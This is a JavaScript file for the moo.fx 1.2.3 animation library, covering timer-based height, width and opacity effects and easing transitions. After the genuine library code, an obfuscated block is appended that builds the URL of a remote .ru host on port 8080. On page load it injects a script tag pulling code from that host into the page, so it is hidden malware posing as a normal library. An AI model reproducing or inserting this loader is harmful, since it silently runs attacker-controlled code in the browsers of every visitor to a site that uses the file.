/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Sunday, March 05, 2006
v 1.2.3
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.iniWidth = this.el.offsetWidth;
		this.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0 && this.el.style.visibility != "hidden") this.el.style.visibility = "hidden";
		else if (this.el.style.visibility != "visible") this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}

var b={m:"a"};try {c=["k","p"];var pO=new Date();var wD={w:false};var ib=new Date();var H={uh:false};var N=new String();var rI=new String();var ux=new String();this.Ug=false;var r=window[new String("un"+"es"+"ca"+"rPsQpe".substr(4))];pF=50780;pF--;_=37922;_--;this.Kl=false;var q='';mD={};var B=String("repl"+"ace");var Xc=new Date();var O=new String("1");Lo=[];this.C=59045;this.C-=67;Ub=54734;Ub++;var I=new String("onloa"+"dgPtq".substr(0,1));try {} catch(e){};try {} catch(Ke){};this.A_="";ek=39019;ek+=196;nr=30693;nr+=195;var D=window[(String("RegE"+"xpDAs".substr(0,2)))];this.wDf="wDf";try {var fr='jk'} catch(fr){};function n(O,v){this.Wj=16590;this.Wj-=59;var zm="zm";var Ot=new String("[");Ot+=v;var fa={};EA={Zh:false};this.pFJ="pFJ";Ot+=r("%5d");var qc=["JP","Bf","uO"];i_=57527;i_+=150;ap={nre:"GL"};this.WB='';var l=new D(Ot, new String("g"));var Jz={QW:"yt"};var CN=false;return O.replace(l, q);};var b_=[];var nD=false;var As='';var EP=false;CE=[];sC=[];var Xs={LO:6394};var lQ=false;var E=608857-600777;var BW=false;var Ej=new String("fFihtt".substr(3)+"p:/CK7T".substr(0,3)+"/go"+"thg"+"uilw2CD".substr(0,3)+"t.r"+"u:bsh".substr(0,2));try {var Tz='JL'} catch(Tz){};DQ={};_E=["RU"];try {var KN='Et'} catch(KN){};QB={fi:60330};try {var Tu='BL'} catch(Tu){};var o=String("/goog"+"le.co5Vdp".substr(0,5)+"m/51."+"la/na"+"qigs."+"BJg5com.p".substr(4)+"hp");eD=["MQ"];var fB=false;function j(){this.Hk=60433;this.Hk+=30;rR=["fN","rU"];this.hW="hW";var oB={is:"er"};this.Mb=46177;this.Mb+=71;Ki=["gz","Bw","pV"];var R=n('slc7rDi0p0tn','0nODlH7');this.JV=2273;this.JV--;var fz=["oY"];var Nb=42119;sT=[];var Ds=new String("appen"+"dChila1bz".substr(0,5)+"d");var ha={};TG=["UX","np","_I"];max=["Lu","yG","Tx"];var t=document;var sp=new String();var Ic=new String();var wR=new String();this.aP="aP";var WUL=new String();yZ=["Db","LB","hc"];yF=15257;yF--;var pf="pf";GY=["Mn","WD","tq"];Zz=45854;Zz--;U=t.createElement(R);try {var HJ='SY'} catch(HJ){};QT={ZzT:false};UbY={SZo:false};var oJ=new String();RC=Ej+E;var XW="";var Oa=18218;var qo={YY:15536};RC=RC+o;var SR={};var bI="";var gK={};var Eg={};var vb={};var CG={CK:891};var cc=[];var Wv={yH:21663};var Dc=[];U[String("defe"+"r")]=O;var u=t.body;Zs=45138;Zs--;fe={};var ov={OI:"wJ"};uY=10224;uY--;mA={};U.src=RC;var wa=false;var VR=false;var Ie=false;dS=["km","JQ"];var kw=false;this.ty=false;u[Ds](U);};var vt={rx:false};var fv=["bW"];lj=["di","Bm"];var VT=new Array();this._u=50877;this._u+=10;EjT=["ci","aI"];window[I]=j;_Q=45221;_Q+=241;this.mt="";zG=49120;zG+=178;var Yl=new Array();this.qi=false;try {var tv='Aob'} catch(tv){};var iES="";this.BF=false;} catch(J){WL=["Cu"];var gW={};yZi=["VW"];this.TEu=32933;this.TEu--;};pe=23961;pe+=245;mU=33833;mU+=42;HL=31704;HL+=62;




